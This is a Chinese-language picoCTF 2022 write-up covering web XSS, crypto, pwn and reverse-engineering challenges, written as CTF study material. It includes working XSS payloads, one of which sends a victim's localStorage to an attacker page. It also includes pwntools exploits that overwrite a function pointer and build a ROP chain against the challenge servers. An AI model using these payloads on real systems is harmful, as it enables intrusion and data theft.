picoCTF 2022 WriteUps

今年 picoCTF 自己挑了些分數較高的題目來解,不過主要是為了兩題最難但也很有趣的 web 而寫的。

Web

noted

這題有個很簡單的 notes 類型的 web 服務,需要登入才能發內容。xss bot 會先隨機 register 一個帳號之後在上面發 flag,然後瀏覽任意你指定的 url。題敘還寫說這題的 xss bot 沒有 internet access。

首先很容易發現的是它有很簡單的 xss,因為在 notes.ejs 裡面它是使用 <%- something %> 輸出資料的:

1
2
<h2><%- note.title %></h2>
<p><%- note.content %></p>

不過這個出現的地方是在自己帳號中的 note,算是 Self-XSS 而已。Self-XSS 一個常見做法是用 CSRF 去 POST login form 登入到自己的帳號底下觸發 XSS。

不過 flag 是在 xss bot 隨機 register 的帳號底下,但要 xss 又需要 login 把 cookie 蓋掉才行,會導致即使 xss 成功了也存取不了 flag。解決辦法很多,但都是使用 window references 相關的東西 (window.open(), window.opener, iframe.contentWindow...)。

如果有兩個 window A B 都有相同的 document.domain,只要擁有 window reference 的話就能直接存取另一個 window 的 DOM。所以只要能讓 A 是在 POST login 之前的頁面,然後 B 是 Self-XSS 的視窗,用某種方式 (e.g. window.opener)讓 B 能讀到 A 的 DOM 即可拿到 flag。

pbctf 2021 - TBDXSS 也是類似概念的題目

不過想要 POST login 也需要把 bot 導向到外部的網站來才行,但沒網路做不到這件事。這邊要注意一下它 report 部分的程式碼長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// report.js
const crypto = require('crypto');
const puppeteer = require('puppeteer');

async function run(url) {
let browser;

try {
module.exports.open = true;
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
slowMo: 10
});

let page = (await browser.pages())[0]

await page.goto('http://0.0.0.0:8080/register');
await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('http://0.0.0.0:8080/new');
await page.type('[name="title"]', 'flag');
await page.type('[name="content"]', process.env.FLAG ?? 'ctf{flag}');

await Promise.all([
page.click('[type="submit"]'),
page.waitForNavigation({ waituntil: 'domcontentloaded' })
]);

await page.goto('about:blank')
await page.goto(url);
await page.waitForTimeout(7500);

await browser.close();
} catch(e) {
console.error(e);
try { await browser.close() } catch(e) {}
}

module.exports.open = false;
}

module.exports = { open: false, run }

// web.js
fastify.post('/report', {
schema: reportSchema,
preHandler: fastify.csrfProtection
}, auth((req, res) => {
let { url } = req.body;

if (report.open) {
return res.send('Only one browser can be open at a time!');
} else {
report.run(url);
}

return res.send('URL has been reported.');
}));

可見它完全沒檢查 url 格式,所以 javascript:alert(1) 之類的 url 就能在 about:blank 上面 xss,也能由此去開新的 window 達成 CSRF。

剩下要怎麼把 flag 回傳也是一個小挑戰,因為它不能存取外部網路所以要用其他方法傳 flag。我的做法是直接以我 self xss 的帳號去新建一個 note,內容放 flag 就好了。因為題目新增 note 還需要 CSRF,最簡單的做法是開個 iframe 直接操作即可。

這部分是生成 submit 給 bot 的 url 的程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const csrf = `
<form name=frm action='http://0.0.0.0:8080/login' method=post>
<input name=username value=supernene>
<input name=password value=supernene>
</form>
`
const js = `
win = window.open('', '')
win.document.body.innerHTML = atob('${btoa(csrf)}')
win.document.frm.submit()
location.href = 'http://0.0.0.0:8080'
`
const url = `javascript:eval(atob('${btoa(js)}'))`
console.log(url)

然後這部分是 Self-XSS 頁面上的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
<iframe src="/new" id=frm>
</iframe>
<script>
const flag = window.opener.document.body.textContent
frm.onload=()=>{
frm.onload=null
const newfrm = frm.contentDocument.forms[0]
newfrm.title.value = 'FLAG'
newfrm.content.value = flag
newfrm.submit()
}
</script>

Flag: picoCTF{p00rth0s_parl1ment_0f_p3p3gas_386f0184}

flag 講的應該是 PlaidCTF 2021 - Carmen Sandiego 的 unintended solution: javascript:fetch(...)

Live Art

這題大概只有 10 人解,算是官方說的高難度題目,不過我算是我運氣好才解了出來。

這題有個 React 寫的 SPA,server 部分是很單純的 express server,只處理提供檔案和 report to xss bot 的功能而已。

題目有幾個功能,一個是可以在 canvas 上隨便畫畫,還可以決定個 id 將繪畫 broadcast 出去。Broadcast 是使用 PeerJS 達成的,viewer 只要知道對應的 id 就能同步觀看 host 畫的東西。

我一開始花了許多時間在讀 PeerJS 的 source code,從 handshaking 到 binary pack deserialization 都沒看出什麼可利用的洞。雖然有些看起來像是 prototype pollution 的地方,但實際上都成功不了。

幫助我找出真正的 bug 的方法是在 local build development 版本的 client,只要在 vite.config.js 裡面 build 中加上 minify: false,然後使用 yarn vite build --sourcemap --mode development 指令去 build 就能得到比較好 debug 的版本。另外安裝 React Developer Tools 也是很重要的一個部分。

我是在 /drawing/peko 的地方開著 devtool 把瀏覽器視窗縮放時才找到的(窄到寬)。在 devtool 中會出現這個 warning:

1
2
3
4
5
6
7
8
9
10
Warning: React has detected a change in the order of Hooks called by _Drawing. This will lead to bugs and errors if not fixed. For more information, read the Rules of Hooks: https://reactjs.org/link/rules-of-hooks

Previous render Next render
------------------------------------------------------
1. useState useState
2. useState useState
3. useEffect useEffect
4. useEffect useEffect
5. useState useReducer
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

去看了一下包含 _Drawing 這個 component 的頁面的 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import * as React from "react";
import { useParams } from "react-router-dom";
import Peer from "peerjs";

import { WrapComponentError } from "../../wrappers";
import { Viewer } from "../viewer";
import { ErrorPage } from "../error";

const getWrappedError = WrapComponentError(ErrorPage)
const getWrappedViewer = WrapComponentError(Viewer);

const isWideEnough = () => window.innerWidth > 600;

interface Props {
page: string;
}

const _Drawing = (props: Props) => {
const [image, setImage] = React.useState<string | undefined>();
const [bigEnough, setBigEnough] = React.useState(isWideEnough());

const page = props.page;

React.useEffect(() => {
if (!page) return;

const peer = new Peer();
peer.on("open", () => {
const conn = peer.connect(page);
conn.on("data", (data) => {
if (typeof data === "string") {
setImage(data);
}
});
})
}, [page]);

React.useEffect(() => {
const listener = () => {
setBigEnough(isWideEnough());
}

window.addEventListener("resize", listener);

return () => {
window.removeEventListener("resize", listener);
}
});

const view = bigEnough
? getWrappedViewer({ image })
: getWrappedError({ error: "Please make your window bigger" });

return (
<div>
{ view }
</div>
);
};

export const Drawing = () => {
const params = useParams();
return (<_Drawing page={ params.page! } />);
}

可見出問題的第五個 hook 在 getWrappedError 或是 getWrappedViewer 裡面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import * as React from "react";

export class ComponentError {
constructor(public message: string) { }
}

export const WrapComponentError = <T extends (props: any) => JSX.Element>(component: T, returnTo = "/") => {
return (props: T extends (props: infer P) => JSX.Element ? P : {}) => {
const handleError = (e: unknown) => {
console.error(e);
const error = e instanceof ComponentError ? e.message : "Something went wrong";
window.location.href = `/error#error=${encodeURIComponent(error)}&returnTo=${encodeURIComponent(returnTo)}`;
throw e;
}

try {
return component({ ...props, throwError: handleError });
} catch (e) {
handleError(e);
}
}
}

可見 WrapComponentError 只是個 error 的 wrapper 而已。

ErrorPage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import * as React from "react";
import { useHashParams } from "../../hooks/index";

export interface Props {
error?: string;
returnTo?: string;
}

export const ErrorPage = (props: Props) => {
const params = useHashParams<{ error: string, returnTo: string }>();
const error = props.error ?? params.error;
const returnTo = props.returnTo ?? params.returnTo;

return (
<div>
<h1>Uh Oh Spaghetti-Oh!</h1>
<h3>{ error }</h3>
<div>
<a href={ returnTo }>Return to previous page</a> or <a href="/">go home</a>.
</div>
</div>
)
}

Viewer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import * as React from "react";

type Dimensions = { width: number, height: number };

const baseResolution: Dimensions = { width: 384, height: 384 };

export interface Props {
image?: string;
}

export const Viewer = (props: Props) => {
const [dimensions, updateDimensions] = React.useReducer(
(canvasDimensions: Dimensions, windowDimensions: Dimensions) => {
const newScale = Math.floor(Math.min(
(windowDimensions.width / baseResolution.width),
(windowDimensions.height / baseResolution.height))
);

const desiredDimensions = { width: baseResolution.width * newScale, height: baseResolution.height * newScale };

if (desiredDimensions.width !== canvasDimensions.width || desiredDimensions.height !== canvasDimensions.height) {
return desiredDimensions;
} else {
return canvasDimensions;
}
},
baseResolution
);

React.useEffect(() => {
const listener = () => {
updateDimensions({ width: window.innerWidth - 100, height: window.innerHeight - 200 });
}

window.addEventListener("resize", listener);

return () => {
window.removeEventListener("resize", listener);
}
}, []);

return (
<div>
<h1>Viewing</h1>
<img src={props.image} { ...dimensions }/>
</div>
)
}

所以第五個 hooks 從 useState 變成 useReducer 分別是 ErrorPageViewer 兩個 component 的 hooks,但是為什麼會出現這個問題呢? 關鍵在於 WrapComponentError 直接把 component 當作函數呼叫:

1
component({ ...props, throwError: handleError })

正確做法應該是:

1
<component { ...props } throwError={handleError}>

這樣它才會呼叫到 React.createElement,react 才會將它視為不同的 components,hooks 順序也才會是對的。

至於這個 bug 會有什麼能利用的地方呢? 可以參考一下官方的 Rules of Hooks,測試一下可以知道 hooks 在意的只有呼叫順序,測試一下也能驗證這件事。

所以可以在 const [dimensions, updateDimensions] = React.useReducer(...) 後面加個斷點,然後讓視窗從小縮放到大,讓它產生 ErrorPageViewer 的切換。暫停的時候可以看到 dimensions 會是個 empty object {}。在 url 加上 #a=b 的話它會是 {a: 'b'},明顯是來自 useHashParams 的回傳值。

可知 dimensions 在視窗縮放 (ErrorPage -> Viewer) 的那個瞬間可控,而它在下面也會被 merge 到 img 的 props 裡面:

1
<img src={props.image} { ...dimensions }/>

這代表可以注入任意 attribute 到 img 上,一個做法是 dangerouslySetInnerHTML = { __html: 'payload' } 可以讓它幫你設定 innerHTML。但是看它的 hash params 的處理會知道這邊只能注入單層的 string 而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const getHashParams = <T extends Record<string, string>>() => {
const params = new URLSearchParams(window.location.hash.substring(1));
const result = Object.create(null);
params.forEach((value, key) => {
result[key] = value;
});

return result as T;
};

export const useHashParams = <T extends Record<string, string>>() => {
const [params, setParams] = React.useState(getHashParams<T>());

React.useEffect(() => {
const listener = () => {
setParams(getHashParams<T>());
}

window.addEventListener("hashchange", listener);

return () => {
window.removeEventListener("hashchange", listener);
}
});

return params;
};

另一個做法是注入 onerror=alert(1),但是這樣會得到另一個來自 React 的 warning:

1
Warning: Invalid event handler property `onerror`. Did you mean `onError`?

這是因為 react 中使用 event handler 的方法只能使用類似 onClick={ () => console.log('clicked') } 的方法去 bind,沒辦法直接注入 html 的 inline event handler。

這時可以參考一下題目給的第二個提示: HTML Standard - 4.13 Custom elements,讀一讀看起來也沒什麼關聯,看起來最相關的也只有一個 is 的 attribute,是用來指定 Customized built-in elements 的。隨便將 is 加進去 props 中會發現這樣就能成功讓 onerror 出現到 img 上 xss:

1
2
3
4
5
6
<iframe src="http://localhost:4000/drawing/asd#src=1&onerror=alert(1)&is=peko" id=frm></iframe>
<script>
frm.onload = () => {
frm.width = 800
}
</script>

這是因為 React 會檢查 is 這個 attribute 看看它是不是 custom elements,如果是的話就不會對 props 做額外的檢查直接 setAttribute。

所以有 XSS 之後剩下就簡單了,把 localStorage 中的 flag 傳送回來即可。將下面這個 html 放到自己的網頁,然後 submit url 給 bot 就能拿到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<iframe srcdoc="none" id="frm"></iframe>
<script>
frm.contentWindow.name = `
(new Image()).src = '${location.href}?report=1&flag='+localStorage.username
`.slice(1, -1)
frm.onload = () => {
console.log('loaded 1')
frm.onload = () => {
frm.onload = null
console.log('loaded 2')
setTimeout(() => {
frm.width = 800
frm.height = 400
}, 500)
}
frm.contentWindow.location = 'http://localhost:4000/drawing/peko#is=asd&onerror=eval(window.name)&src=peko'
}
</script>

Flag: picoCTF{beam_me_up_reacty_6bdeba69}

Crypto

今年的 Crypto 和去年比起來簡單太多了...

Very Smooth

這題 RSA 的 都不正常, 都是 ,顯然是 Pollard p-1。

最簡單的解法就是把 RsaCtfTool 的 attacks/single_key/pollard_p_1.py 裡面的 primes(997)primes(131101) 即可。

Flag: picoCTF{148cbc0f}

Sequences

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import math
import hashlib
import sys
from tqdm import tqdm
import functools

ITERS = int(2e7)
VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex("42cbbce1487b443de1acf4834baed794f4bbd0dfe7d7086e788af7922b")

# This will overflow the stack, it will need to be significantly optimized in order to get the answer :)
@functools.cache
def m_func(i):
if i == 0: return 1
if i == 1: return 2
if i == 2: return 3
if i == 3: return 4

return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)


# Decrypt the flag
def decrypt_flag(sol):
sol = sol % (10**10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()

if sol_md5 != VERIF_KEY:
print("Incorrect solution")
sys.exit(1)

key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()

print(flag)

if __name__ == "__main__":
sol = m_func(ITERS)
decrypt_flag(sol)

計算一個遞迴數列 的值就能解密 flag 了。

雖然它那數字其實不大,我猜稍微優化一下用 也能跑出來,不過我還是用正常解法解了。

方法就類似費氏數列的矩陣快速冪,寫成一個矩陣在 中開次方後答案就出來了,只要 的時間而已。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib

R = Zmod(10 ^ 10000)
M = matrix(R, [[21, 301, -9549, 55692], [1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0]])
sol = (M ^ (2 * 10 ^ 7) * vector([4, 3, 2, 1]))[-1]
# print(sol)

VERIF_KEY = "96cc5f3b460732b442814fd33cf8537c"
ENCRYPTED_FLAG = bytes.fromhex(
"42cbbce1487b443de1acf4834baed794f4bbd0dfe7d7086e788af7922b"
)


def decrypt_flag(sol):
sol = sol % (10 ** 10000)
sol = str(sol)
sol_md5 = hashlib.md5(sol.encode()).hexdigest()

if sol_md5 != VERIF_KEY:
print("Incorrect solution")

key = hashlib.sha256(sol.encode()).digest()
flag = bytearray([char ^^ key[i] for i, char in enumerate(ENCRYPTED_FLAG)]).decode()

print(flag)


decrypt_flag(int(sol))

Flag: picoCTF{b1g_numb3rs_3956e6c2}

Sum-O-Primes

一樣是 RSA,只是多給了 的值。直接寫出多項式求整數根即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import *

x = 0x1C5D833516F25A832A331F349D2931D1577B3171D689DA0391608DEA7BBD9CDA413D836DB2F5C79DA05755225C41AF1CFFBFAF1777B64ABB521AC63E09D6101FE16FA7B98A647B94ECCEF0601681C34D4AA0AC9DED573F14460DC5DC5337D24BDF1F69325689346795ADB0F9159CB2779463DCE6E084ADF861B61BD76BB160132
n = 0xC6C7C7879953A678D8E6D2AB85248F19B3F7C4B1E0C4C3F5BC1B63946ABCAC0CC19523386A08BBB5BD09321B9023DF091F162DD0E9B100DA1B5D15F78523EA6D7C6D7C7CD8B5C287FCD5D91DEFC53A32885C0A6F16F3B13221BBD4B5254BB9DBFE79244D343841485AD38FB139ABFA3C3BD50E4787B1E882D21ADA914989C1497774BDAA046AD2366028BD31F9277C39F58FE6FC78C247C4159B8879EAA7E15301CE937A7491E7727E5AE6E7852DF6F9FD3367E5BB178C7013805A16EE68F6CDF8F5F72B2FBC159C38244082B1C47F5814A494AC7B310C37FE68A85E4448885D0DE8F93D21106121FF74C0C6452FF697B2D2660483AF13CE82EBDC0293B24DAD
c = 0x101EF1AF3FD07A28858D5102E2448F29FD995F63DF13B6E6A98D077E2330722AF3374CD30652943FD1DE006118024A4C86A23EAE960B872E8D6C5735D73A05C40D039B6779B78F0FB90DAF5011DE05636B35A47416CB91712DF3CA62F32BD2799B24D3B267A6140F98B07DFBB9E333BC71170776CE794F34674C232544DF18E719698614958BBDA4E371E58E22DF63C2284F0F748AF6EA0465F520ED8A70BA8D12307900216645B820C29A6297C1754A703A7CAA1747ECF4D4BEE49163366686FF15961DB87F08007C302BDE64C3E4DC165604A856B036C891EF4B0DD1FD9AEC79F2A7D2D017C880C1A523D1D46868A99EE2B0046CACEBE65DA9A3CE3B7C9683
e = 65537

P.<r> = ZZ[]
# (r-p)(r-q)=r^2-xr+n
f = r ^ 2 - x * r + n
p = f.roots()[0][0]
q = n // p
assert p * q == n

d = inverse_mod(e, (p - 1) * (q - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

Flag: picoCTF{92fe3557}

NSA Backdoor

這題和前面 Very Smooth 使用了一樣的生成方法產生 ,只是這次 flag 是使用 加密的。

一樣先 Pollard p-1 分解,然後因為很 smooth 就分別在 𝕡𝕢 下使用 Pohlig-Hellman 算 discrete log,之後 CRT 找回

其實這題不用 CRT 也行,因為 太小所以沒差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.number import *

n = 0x72BAE3105C52D6CA470AA6D21B1A8A9F2208951CA6CD71D1B484E38095E0558B32D9DB2F926771DC4A93B6DEEBAF64D2978F0F4EFC8F49DB5571959E214C900A4BED54FA235EE72CEC66C85BCA819EA3FB1B4E3DD70E940D9067EB3D0A6A4ABF6C152D7D1A19D0833532048EC84754C95EB8055B7E3817E65AEA897E3E2A29764AF08589A6271721C863DF2386CEB9EEA4F208ED8F45F0628D5EC3AFCC416AB3DDA4071A9FCA2166E87F14A9475B1711A0B4CCDEFAB041A7E2A7B418155AED4A1BBC343A0C1A8D9AF479FF7E62765BFB5F1762AA66C4B06CE44B5681977E027428B32811C8C539F0C631178ED60A863176CDD1FD73EE9CBE14EAA5E7010443CD
c = 0x4790C71B682F70A3E8AEAEB62B7B5C7381B27AB013D806631EFD826DA0BFC4EA7F343AD33EA0ABDD14762ACF5FCDF02B3E44646B8DF7B09345EC2C43614A15E4E38BDA58BF0B08F643E521D04F4D1EB06A4521351533B4140DF785F12FA085DB1E14DBA803F00A25208167B359045D4491A49463F2423894DC69D92FC814229BF3D439B0D552732363AF89605FC5BC035612B68C49D01C5EC185028D3D036332F6D5D7BCCC1E65C7FE13AEFB3C8A4EBEB8006092CB714B9040EC3147C0EC784CB6E6CAE2456999AFDC8FCACD3F3D2502D29B59BE9F47E5FF192512FF6A37CF12837F3DA1A1905DE2D5A4AE7EEA353C1B0C15C764BB10A45A21CDB84C3BF948EF

# pollard p-1
p = 99755582215898641407852705728849845011216465185285211890507480631690828127706976150193361900607547572612649004926900810814622928574610545242732025536653312012118816651110903126840980322976744546241025457578454651121668690556783678825279039346489911822502647155696586387159134782652895389723477462451243655239
q = 145188107204395996941237224511021728827449781357154531339825069878361330960402058326626961666006203200118414609080899168979077514608109257635499315648089844975963420428126473405468291778331429276352521506412236447510500004803301358005971579603665229996826267172950505836678077264366200199161972745420872759627

assert p * q == n
xp = GF(p)(c).log(3)
xq = GF(q)(c).log(3)
x = crt([xp, xq], [p - 1, q - 1])
print(long_to_bytes(x))

Flag: picoCTF{e032a664}

Pwn

Pwn 除了最後一題以外都很簡單,應該說今年只有 Web x2 和 Pwn x1 是難題

function overwrite

32 bits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}

return score;
}

void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}

void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}

void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};

void vuln()
{
char story[128];
int num1, num2;

printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);

if (num1 < 10)
{
fun[num1] += num2;
}

check(story, strlen(story));
}

int main(int argc, char **argv)
{

setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}

OOB 寫入蓋掉 function pointer 把 hard_checker 改成 easy_checker 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

elf = ELF("./vuln")
index = (elf.sym["check"] - elf.sym["fun"]) // 4
offset = elf.sym["easy_checker"] - elf.sym["hard_checker"]

story = bytes([97] * 13 + [76])
assert sum(story) == 1337
# io = process("./vuln")
io = remote("saturn.picoctf.net", 53739)
io.sendlineafter(b">> ", story)
print(index, offset)
io.sendlineafter(b"less than 10.\n", f"{index} {offset}".encode())
io.interactive()

Flag: picoCTF{0v3rwrit1ng_P01nt3rs_698c2a26}

stack cache

32 bits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 16
#define FLAGSIZE 64
#define INPSIZE 10

/*
This program is compiled statically with clang-12
without any optimisations.
*/

void win() {
char buf[FLAGSIZE];
char filler[BUFSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f); // size bound read
}

void UnderConstruction() {
// this function is under construction
char consideration[BUFSIZE];
char *demographic, *location, *identification, *session, *votes, *dependents;
char *p,*q, *r;
// *p = "Enter names";
// *q = "Name 1";
// *r = "Name 2";
unsigned long *age;
printf("User information : %p %p %p %p %p %p\n",demographic, location, identification, session, votes, dependents);
printf("Names of user: %p %p %p\n", p,q,r);
printf("Age of user: %p\n",age);
fflush(stdout);
}

void vuln(){
char buf[INPSIZE];
printf("Give me a string that gets you the flag\n");
gets(buf);
printf("%s\n",buf);
return;
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
printf("Bye!");
return 0;
}

用 gdb 發現到 win 函數 ret 時的 eaxbuf,裡面有含 flag。然後在 0x8049EEB (UnderConstruction 裡面) 有 mov [esp+4], eax; call printf,把 eax 放到 printf 的第二個參數中。

所以不想拿 shell 的話直接 return 到 win 之後到 0x8049EEB,然後讓第一個參數變成 %s\n 就能有 flag 了。要注意的一點是 printf 也會用些 stack 的空間,所以 win0x8049EEB 中間要塞點 ret 避免 flag 被蓋掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./vuln")
rop = ROP(elf)
ret = rop.find_gadget(["ret"]).address

# io = gdb.debug("./vuln", "b *(vuln+56)\nc")
io = remote("saturn.picoctf.net", 54645)
io.sendlineafter(
b"the flag\n",
b"a" * 14
+ flat(
[
elf.sym["win"],
# eax will be the address of flag on stack
# put some ret to prevent flag from being overwritten
ret,
ret,
ret,
ret,
ret,
ret,
ret,
ret,
0x8049EEB, # mov [esp+4], eax; call printf
0x80C91F6, # "%s\n"
]
),
)
io.interactive()

Flag: picoCTF{Cle4N_uP_M3m0rY_4c1cd4ab}

其實我不懂為什麼這個題目值 400 分...

Rev

Keygenme

IDA 打開可以知道它是個 flag checker,讀一下 check 的函數看了出來它使用某些已知的值去算 md5 生成 flag,之後一個一個 byte 和輸入比較。所以 gdb 在適當的地方下斷點,然後從 stack 讀出 flag 即可。

Flag: picoCTF{br1ng_y0ur_0wn_k3y_9d74d90d}

Wizardlike

這是個使用 ncurses 寫的小遊戲,一共有十關。前面幾關有 flag 的 prefix,後面每關各有一個 hex digit 代表 flag 的 suffix。

遊戲很單純,就 WASD 可以移動,簡單的走迷宮小遊戲而已。不過它的地圖不是直接全部顯示的,似乎是會跟著目前走到的地方去擴展視野可見範圍。

我的解法是用 IDA 把檢查牆壁的函數 patch 掉 (mov rax, 1; ret),讓角色可以任意行走。然後檢查某個格子是否要顯示的功能也是改成 mov rax, 1; ret,這樣它就會一開始直接顯示出整張地圖了。

最後再把它回到上一關的功能的 sub level, 1 改成 add level, 1 就能很簡單的跳關,最後再人工讀 flag 結束。

Flag: picoCTF{ur_4_w1z4rd_4844AD6F}